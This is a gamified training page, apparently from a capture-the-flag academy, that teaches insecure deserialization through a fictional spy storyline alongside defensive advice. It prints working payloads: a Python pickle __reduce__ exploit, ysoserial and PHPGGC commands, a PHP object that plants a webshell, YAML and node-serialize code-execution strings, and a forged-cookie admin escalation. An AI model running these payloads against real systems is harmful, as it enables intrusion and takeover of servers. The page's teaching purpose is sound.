Insecure Deserialization Tutorial — Remote Code Execution Explained

👻

CAMPAIGN 3 — OPERATION PAYLOAD GHOST

INSECURE DESERIALIZATION // TARGET: GHOST PROTOCOL DATA PIPELINE

14

OWASP A08:2021

INSECURE
DESERIALIZATION

OBJECT INJECTION // REMOTE CODE EXECUTION // PRIVILEGE ESCALATION

OPERATION PAYLOAD GHOST

📡

SITUATION REPORT

CLASSIFIED

Operation Data Ghost gave us a foothold in the Ghost Protocol network. But we found something deeper — the data pipeline the Syndicate uses to sync stolen intel between its Berlin and Amsterdam nodes, moving serialized objects between servers as fast as it can sell them.

Serialization means taking a piece of data — like a user object — and converting it into a format that can be sent across a network or saved to disk. Think of it like putting something in a sealed bag for delivery. Deserialization is unpacking that bag when it arrives at the other end.

WRAITH, the pipeline architect, built the receiving server to unpack every bag it receives without checking what is inside. The bag could say "user session data" on the label — but contain a command that executes the moment the bag is opened.

We are going to put something in the bag that should not be there. The server will unpack it and execute it.

THE KITCHEN THAT HEATS EVERY BAG

CHILD-LEVEL EXPLANATION

Imagine a factory that receives sealed packages and processes them without opening or inspecting them. It assumes every package is safe.

Now imagine someone sends a carefully prepared package that looks normal on the outside. But inside it is structured in a way that causes the factory to behave in unexpected ways when processed. Because nothing inside is verified before execution.

If a kitchen heats every sealed bag without checking what is inside — what is stopping someone from sending a bag with anything in it?

INTERCEPTED — WRAITH COMMS

11:22 UTC

WRAITH

"The pipeline accepts serialized session objects from authenticated Vantage nodes only. The data format is our internal standard — no outsider could craft a valid object. The Syndicate's secrets stay inside the Syndicate."

RAVEN

Shadow — WRAITH just handed us the blueprint. He thinks format complexity is protection. It is not. We captured real objects from Op 13. We know the format. We add our payload. He opens it. The code runs. The format being complex does not matter — we have the template.

MISSION OBJECTIVES

01

TARGET: Ghost Protocol session pipeline — WRAITH unpacks the serialized User object straight off the wire with no integrity check

02

EXPLOIT: Flip the serialized role field from viewer to admin, fix the length count, replay it — and walk in as administrator

03

SWEEP: Inspect every incoming data package and classify which sources are safe to deserialize and which carry hidden payloads

04

WIN: Capture the field flag, then lock it down — sign session data and refuse native deserialization of untrusted input

⚠ ETHICAL NOTICE: Insecure deserialization is covered by CEH, OSCP, PortSwigger Web Academy, and OWASP A08:2021. All interactions here are fully simulated against fictional infrastructure. Real testing requires explicit written authorisation.

🔧 UNDER THE HOOD▼

THE ATTACK — STEP BY STEP

Insecure deserialization — when an app deserializes objects from untrusted input, an attacker can craft a malicious object that executes code during the deserialization process. Python pickle RCE:

import pickle, os, base64 class Exploit(object): def __reduce__(self): return (os.system, ('id > /tmp/pwned',)) payload = base64.b64encode(pickle.dumps(Exploit())) # Send payload as cookie or POST body to vulnerable endpoint: # Cookie: session=<base64_payload>

Java gadget chain (using ysoserial):

# Generate payload with ysoserial: java -jar ysoserial.jar CommonsCollections6 'id' > payload.ser # Send the raw bytes as the session cookie or deserialized POST body

COMMON VARIATIONS

1. PHP unserialize RCE — PHP's unserialize() calls magic methods like __wakeup and __destruct on arbitrary object graphs:

// Craft a PHP object with a dangerous __destruct: O:8:"Template":1:{s:8:"template";s:17:"<?php system($_GET['cmd']); ?>";} // When unserialized, the destructor writes a webshell

2. YAML deserialization — some YAML parsers execute arbitrary constructors:

!!python/object/apply:os.system ['id']

3. Node.js serialize module — the node-serialize package executes IIFEs in deserialized data:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id');}()"}

HOW TO DEFEND

Never deserialize untrusted data using native serialization formats (pickle, Java serialization, PHP unserialize). Use JSON/MessagePack with a strict schema instead:

// Python — use JSON instead of pickle: import json data = json.loads(user_input) // no code execution possible // If you MUST deserialize binary formats, add an HMAC signature: import hmac, hashlib, pickle SECRET = b'your-secret-key' def serialize(obj): data = pickle.dumps(obj) sig = hmac.new(SECRET, data, hashlib.sha256).hexdigest() return sig + ':' + base64.b64encode(data).decode() def deserialize(token): sig, encoded = token.split(':', 1) data = base64.b64decode(encoded) expected = hmac.new(SECRET, data, hashlib.sha256).hexdigest() if not hmac.compare_digest(sig, expected): raise ValueError('Invalid signature — tampering detected') return pickle.loads(data)

⚡ CYBER RANGE — ACTIVE ENVIRONMENT

LIVE

TARGET

ghost-pipeline.ghost-capital.int

IP ADDRESS

10.47.1.14

OS / SERVER

Ubuntu 22.04 · nginx/1.20.0

KEY SERVICES

PHP/8.1.12 · Data pipeline API · /api/process endpoint

ATTACK SCOPE

Serialized PHP objects via HTTP — RCE via __wakeup in scope

ATTACKER NODE

shadow@sigma9 · 10.99.0.1

📋 ROOM TASKS

01

✓

Understand how PHP magic methods execute on deserialization

02

▶

Craft a malicious serialized payload to achieve RCE

03

○

Classify trusted vs untrusted data sources

04

○

Identify the HMAC-signed deserialization fix

05

○

Submit the capture-the-flag token

🚩

CAPTURE THE FLAG

Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.

PHASE 01

TAMPER THE OBJECT

EXPLOIT

RAVEN

ENCRYPTED

You just pulled the Ghost Protocol session cookie off the wire and decoded it. Sitting in plain view is the object the server trusts:
O:4:"User":2:{s:4:"role";s:6:"viewer";s:2:"id";i:42;}

That is PHP serialization format — an object of class User, with two properties: role is "viewer" and id is 42. The client sends this to the server, and the server deserializes it — unpacks it — and uses the data inside.

WRAITH does not check the contents before unpacking. He just rebuilds whatever arrives. So you flip one field — viewer to admin — fix the length count, re-encode, and send it back.

You just tampered with the object the server trusts. Now make the call: what happens when WRAITH unpacks it?

MENDAX — HOW THIS IS ACTUALLY DONE

LIVE

MENDAX

Standard insecure-deserialization testing on this authorised, fictional target. The app stores its session object as serialized text in a cookie and trusts it blindly. I grab the cookie, flip one field from viewer to admin, and send it back:

$ echo $SESSION_COOKIE | base64 -d
O:4:"User":2:{s:4:"role";s:6:"viewer";...}
# edit "viewer"→"admin", fix the length 6→5, re-encode, replay
$ curl -b "session=$FORGED" https://nexus.int/dashboard
Welcome, administrator.

MENDAX

The server rebuilt our object exactly as we wrote it — no integrity check. That's why untrusted serialized data is dangerous. The fix is to sign session data or avoid native deserialization entirely. First, you call what happens when we flip that field.

TAP AN ANSWER — EXPLANATION APPEARS IMMEDIATELY

RAVEN — HINT (−20 XP)

Think about the kitchen analogy. The kitchen heats every bag without checking. If we change what is inside the bag — what does the kitchen do? It unpacks and uses whatever is inside. There is no signature check. There is no checksum. The server just trusts the data.

✓

DESERIALIZATION MECHANISM UNDERSTOOD

The server unpacks the object and creates a User with role=admin — because there is no signature, no checksum, and no validation. It trusts whatever is in the bag completely.

Simple version: We changed the label on the bag from "viewer chicken soup" to "admin chicken soup." The kitchen heated and served it. Now we are admin.

This is just changing a property. The real danger is worse — in some languages, deserializing an object can trigger code execution automatically during the unpacking process.

Real world: CVE-2015-4852 — Apache Commons deserialization vulnerability. Attackers sent a crafted serialized object to Java servers. The moment the server deserialized it, arbitrary code ran. Hundreds of enterprise servers compromised. CVSS 9.8.

PHASE 02

PACKAGE INSPECTOR — OPEN EVERY BAG

INTERACTIVE

Flipping one field got us admin. But WRAITH's pipeline is still running — five more packages queued and being deserialized right now. Time to look inside every bag before it gets heated.

RAVEN

ENCRYPTED

The Ghost Protocol pipeline has 5 incoming data packages queued for deserialization. WRAITH trusts all of them.

You are now the security analyst. Open each package. Read what is actually inside — not just the label. Decide: is it safe to deserialize, or does it carry a hidden payload?

Tap a package to open it and inspect its contents. Then mark it safe or dangerous.

MISSION OBJECTIVETap each package to open and inspect it. Decide: safe to deserialize, or carrying a hidden payload? Mark all five correctly to secure the pipeline and unlock the next phase.

PACKAGES INSPECTED

0 of 5 inspected

RAVEN — HINT (−20 XP)

Look for two things in each package: does the class match what the label claims? And does any property contain code or a system command rather than normal data like a number or username? Serialized objects with command strings in unexpected fields are dangerous.

✓

ALL PACKAGES INSPECTED — PIPELINE SECURED

You correctly identified every safe and dangerous package. The dangerous ones all shared the same pattern: a normal-looking label hiding either an unexpected class type, a system command in a data field, or a role escalation in a property.

Simple version: You opened every bag before the kitchen heated it. You found the poison. The restaurant is safe. WRAITH had no inspection process at all — he just heated everything.

Why magic methods matter: In the PHP dangerous packages, the system() call would have fired during deserialization itself — before any validation code. The attacker does not need the server to "use" the object. Just unpacking it is enough.

PHASE 03

WHICH DATA SOURCES ARE SAFE?

CLASSIFY

Every bag that came from outside the kitchen was dangerous. Now you need to train the eye — which data sources can a server safely deserialize, and which ones hand an attacker the keys?

RAVEN

ENCRYPTED

RAVEN pulled a list of data sources across Ghost Protocol servers. Some are safe to deserialize from. Some are not.

Tap a source to select it. Mark it SAFE if deserializing from it is acceptable, or DANGEROUS if it is a deserialization risk.

Simple rule: if the data came from outside the server — a user, a network request, a cookie, a file someone uploaded — it is dangerous to deserialize. If the data was generated by the server itself and never touched external input — it may be safe.

TAP A SOURCE — THEN CLASSIFY IT

Select a data source above

✓ SAFE

⚠ DANGEROUS

RAVEN — HINT (−20 XP)

Ask: did anything outside the server touch this data? User cookies, HTTP request bodies, uploaded files, and data from other servers are all dangerous. Data the server generated itself and stored internally — with no external modification possible — is generally safe.

✓

ALL SOURCES CORRECTLY CLASSIFIED

Any data that has ever been outside the server — in a user browser, sent over a network, uploaded as a file — is untrusted. An attacker could have modified it. Deserializing it is like the kitchen heating a bag that someone handed in off the street.

Data the server generated internally, stored in its own memory or trusted internal database, and never exposed to external modification is safe.

Cookies are the most common SSRF deserialization vector: Many frameworks store serialized session objects in cookies. The cookie goes to the user browser and comes back with every request. The attacker modifies the cookie. The server deserializes it.

PHASE 04

CLOSE THE DOOR — THE RIGHT FIX

DEFENSE

Sources classified, pipeline understood. One format change closes every attack you just ran. Name it.

RAVEN — FINAL DEBRIEF

LAST PHASE

WRAITH is in custody. The Ghost Protocol pipeline is offline.

RAVEN: "Shadow — last question. The pipeline replacement is being redesigned right now. Which single change would have stopped every package injection attack we ran today? The pipeline still needs to move data between servers. The fix just needs to stop deserializing untrusted input."

WHICH FIX STOPS INSECURE DESERIALIZATION?

RAVEN — HINT (−20 XP)

Think about WHY the attack worked: the server deserialized objects that came from outside — objects an attacker could modify. The right fix stops untrusted data from ever being deserialized. Which option replaces native deserialization with a format that cannot execute code?

► INTEL — OP-14 // OPERATION PAYLOAD GHOST

TARGET: NEXUS Data Pipeline — Object Broker

Classification: TOP SECRET // Campaign 3 Ghost Protocol

MENDAX — CHANNEL BRIEFING

PRE-OP

MENDAX

The message queue deserializes Java objects from untrusted sources without type checking. A crafted serialized payload triggers a gadget chain leading to code execution on the processing server.

📓

OWASP CLASSIFICATION

INTEL

A08:2021 — Insecure deserialization allows attackers to manipulate serialized objects to achieve code execution, injection, or privilege escalation when the object is reconstructed.

⚖

GLOSSARY TERMS: Insecure Deserialization, Java Serialization, Gadget Chain, ysoserial, RCE, Object Injection, Magic Methods. All terms auto-logged to your Field Manual as you encounter them.

ACADEMY — INSECURE DESERIALIZATION

THE SERVER HEATS EVERY BAG.
CHECK WHAT IS INSIDE FIRST.

BEGINNERWhat Is Insecure Deserialization?›

Serialization is converting data — like a user object — into a format that can be sent across a network. Deserialization is converting it back.

Insecure deserialization happens when a server deserializes data from an untrusted source without checking it first. An attacker can modify the serialized data to change values (like role from viewer to admin) or, in some languages, include code that runs automatically during deserialization.

The restaurant analogy: the kitchen heats every sealed bag without checking. An attacker sends a bag labelled "chicken soup" with poison inside. The kitchen heats and serves it.

Real world: CVE-2015-4852 — Apache Commons Collections. A crafted serialized Java object sent to any exposed Java server triggered arbitrary command execution on deserialization. Hundreds of enterprise servers were compromised before patches could be deployed.

INTERMEDIATEAttack Techniques›

Property manipulation (simple):
Intercept serialized object, change role=viewer to role=admin, send modified object. Server deserializes and creates admin user.

Magic method abuse (dangerous):
In PHP, Java, Python, and Ruby — certain methods fire automatically during deserialization. __wakeup(), __destruct() in PHP. readObject() in Java. If these methods do anything dangerous with object properties — and an attacker controls the properties — arbitrary code runs.

Gadget chains (advanced):
Chain existing classes on the server together so their interaction during deserialization produces a dangerous outcome. Tools: ysoserial (Java), PHPGGC (PHP), pickle (Python).

Common injection points:
HTTP cookies, JSON/XML request bodies, API parameters, file uploads, message queues, caches (Redis, Memcached).

EXPERTDefences and CVEs›

Primary fix — never deserialize untrusted data:
If you need to pass data between services, use a data-only format: JSON, XML, or Protocol Buffers. These formats hold data, not objects — they cannot trigger magic methods or gadget chains.

If deserialization is unavoidable:
Implement an allowlist of classes that are permitted to be deserialized
Sign serialized objects — verify the signature before deserializing
Run deserialization in a sandboxed process with no filesystem or network access
Monitor for deserialization errors — they indicate attack attempts

Notable CVEs:
CVE-2015-4852 — Apache Commons Collections, CVSS 9.8, arbitrary RCE
CVE-2016-4437 — Apache Shiro deserialization, authentication bypass
CVE-2019-7609 — Kibana deserialization, RCE via prototype pollution
CVE-2021-44228 — Log4Shell, JNDI injection triggered during deserialization of log data

2020 — Telerik UI: A deserialization vulnerability in Telerik UI for ASP.NET AJAX was exploited in attacks against US government agencies. Attackers sent crafted serialized objects through the file upload interface. Arbitrary code ran on government servers. The vulnerability had been public for years — patching had not been applied.

REAL-WORLD TOOLS — INSECURE DESERIALIZATION

WHAT PROFESSIONALS USE

💥

ysoserial

FREE / OPEN SOURCE

Generates serialized Java payloads using known gadget chains. Feed it a command and a gadget chain name — it outputs a serialized object that executes that command when deserialized by a vulnerable Java server.

java -jar ysoserial.jar CommonsCollections1 "id" | base64

🔸

PHPGGC

FREE / OPEN SOURCE

PHP gadget chain generator. Generates serialized PHP objects for dozens of frameworks — Laravel, Symfony, WordPress, Magento. Equivalent to ysoserial for the PHP ecosystem.

phpggc Laravel/RCE1 system id

🔍

Burp Suite

FREE TIER

Intercept serialized objects in cookies, request bodies, and API parameters. Use the Java Deserialization Scanner extension to detect vulnerable endpoints automatically.

Proxy → Intercept → Find base64 serialized objects → Modify and resend

🐍

pickle (Python)

BUILT-IN

Python pickle deserialization is inherently unsafe. Any pickled object from an untrusted source can execute code. Testing: craft a pickle with a __reduce__ method returning a system call.

import pickle,os; pickle.dumps(type('x',(object,),{'__reduce__':lambda s:(os.system,('id',))})())